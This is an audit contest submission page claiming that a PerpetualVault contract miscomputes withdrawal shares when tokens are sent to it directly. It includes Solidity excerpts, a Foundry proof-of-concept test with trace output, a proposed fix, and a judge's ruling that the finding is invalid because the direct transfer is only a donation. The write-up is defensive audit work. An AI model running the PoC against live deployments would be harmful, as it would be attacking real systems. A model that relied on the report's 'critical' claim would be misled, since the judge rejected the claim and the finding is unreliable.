Liquidity Management
Gamma
DeFiFoundry
50,000 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

Share Calculation Withdrawal Issue

juggernaut63

Summary

There is a critical issue in the PerpetualVault contract's share calculation mechanism during withdrawals. This issue allows users to get more than they should.

Vulnerability Details

-

-

function _handleReturn(uint256 withdrawn, bool positionClosed, bool refundFee) internal {
(uint256 depositId) = flowData;
uint256 shares = depositInfo[depositId].shares;
uint256 amount;
if (positionClosed) {
amount = collateralToken.balanceOf(address(this)) * shares / totalShares;
} else {
uint256 balanceBeforeWithdrawal = collateralToken.balanceOf(address(this)) - withdrawn;
amount = withdrawn + balanceBeforeWithdrawal * shares / totalShares;
}
//...
}
​
function _transferToken(uint256 depositId, uint256 amount) internal {
uint256 fee;
if (amount > depositInfo[depositId].amount) {
fee = (amount - depositInfo[depositId].amount) * governanceFee / BASIS_POINTS_DIVISOR;
if (fee > 0) {
collateralToken.safeTransfer(treasury, fee);
}
}
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {}
catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
}
totalDepositAmount -= depositInfo[depositId].amount;
}

The root of the problem is that the contract does not differentiate between funds coming in through the official deposit function vs. direct transfer, and uses the total balance for withdrawal calculations without validating the source.

The amount calculation uses collateralToken.balanceOf(address(this)) directly for the calculation without distinguishing between officially deposited vs direct transfer funds and does not track the total funds that should be in the vault.

The share calculation formula amount = collateralToken.balanceOf(address(this)) * shares / totalShares assumes all balances are part of a divisible pool without validating whether the balance increased due to official deposits.

totalDepositAmount is only updated when deposit and withdraw are official without any check between totalDepositAmount vs balanceOf.

Impact

  • Shareholders can get more funds than they should

  • Funds transferred can be withdrawn directly by shareholders

Scenario

1. Alice deposits 100 Token→ gets proportional shares

2. Bob transfers 9900 Token directly → contract balance increases but shares do not change

3. Alice withdraws → calculation uses total balance (10000 Token)

4. Alice gets 10x more than she should

POC

Add this to PerpetualVault.t.sol and run it forge test --match-test test_ShareCalculationWithdrawalExploit --rpc-url arbitrum -vvvv.

function test_ShareCalculationWithdrawalExploit() external {
// Initial setup
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 aliceDeposit = 100e6;
// Alice's initial deposit
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
vm.startPrank(alice);
deal(address(collateralToken), alice, aliceDeposit);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
collateralToken.approve(vault, aliceDeposit);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(aliceDeposit);
vm.stopPrank();
​
// Verify Alice's initial shares and vault state
uint256[] memory aliceDeposits = PerpetualVault(vault).getUserDeposits(alice);
(, uint256 aliceShares,,,,) = PerpetualVault(vault).depositInfo(aliceDeposits[0]);
uint256 totalShares = PerpetualVault(vault).totalShares();
assertEq(aliceShares, totalShares, "Alice should own all shares initially");
// Bob transfers USDC directly
uint256 bobAmount = 9900e6;
deal(address(collateralToken), bob, bobAmount);
vm.prank(bob);
collateralToken.transfer(vault, bobAmount);
// Verify vault balance after manipulation
uint256 vaultBalance = collateralToken.balanceOf(vault);
assertEq(vaultBalance, aliceDeposit + bobAmount, "Vault balance should include Bob's transfer");
// Alice attempts withdrawal
uint256 lockTime = PerpetualVault(vault).lockTime();
vm.warp(block.timestamp + lockTime + 1);
vm.startPrank(alice);
executionFee = PerpetualVault(vault).getExecutionGasLimit(false);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(alice, aliceDeposits[0]);
vm.stopPrank();
​
// Verify Alice's withdrawal amount
uint256 aliceBalanceAfter = collateralToken.balanceOf(alice);
emit log_named_decimal_uint("Alice's withdrawal amount", aliceBalanceAfter, 6);
// Alice should only get her original deposit but gets much more
assertTrue(
aliceBalanceAfter > aliceDeposit,
"Alice withdrew more than her original deposit"
);
// Calculate and verify the excess amount Alice received
uint256 excessAmount = aliceBalanceAfter - aliceDeposit;
emit log_named_decimal_uint("Excess amount", excessAmount, 6);
assertTrue(
excessAmount > bobAmount * 90 / 100,
"Alice extracted most of Bob's manipulated balance"
);
}

Result:

├─ [304064] TransparentUpgradeableProxy::fallback(100000000 [1e8])
│ ├─ [303439] PerpetualVault::deposit(100000000 [1e8]) [delegatecall]

Alice initially deposits 100 Token (100000000 [1e8]).

├─ [5363] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(TransparentUpgradeableProxy: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 9900000000 [9.9e9])

Bob directly transferred 9900 Token to the vault without going through the deposit function, so he did not get any shares.

├─ [1250] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::balanceOf(TransparentUpgradeableProxy: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall]
│ └─ ← [Return] 10000000000 [1e10]

Total vault balance becomes 10000 Token (Alice deposit 100 + Bob transfer 9900).

├─ [25263] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 9505000000 [9.505e9])

Alice managed to withdraw 9505 Token, much more than her deposit of only 100 Token.

Logs:

Alice's withdrawal amount: 9505.000000
Excess amount: 9405.000000

Tools Used

  • Manual review

  • Foundry

Recommendations

Calculate withdrawal amount based on total vault value.

function _handleReturn(uint256 withdrawn, bool positionClosed, bool refundFee) internal {
(uint256 depositId) = flowData;
uint256 shares = depositInfo[depositId].shares;
// Calculate withdrawal amount based on total vault value
uint256 totalVaultValue = _totalAmount(prices);
uint256 amount = totalVaultValue * shares / totalShares;
if (amount > 0) {
_transferToken(depositId, amount);
}
// Rest of the function remains the same
}
Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_collateral_balanceOf_donation

Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.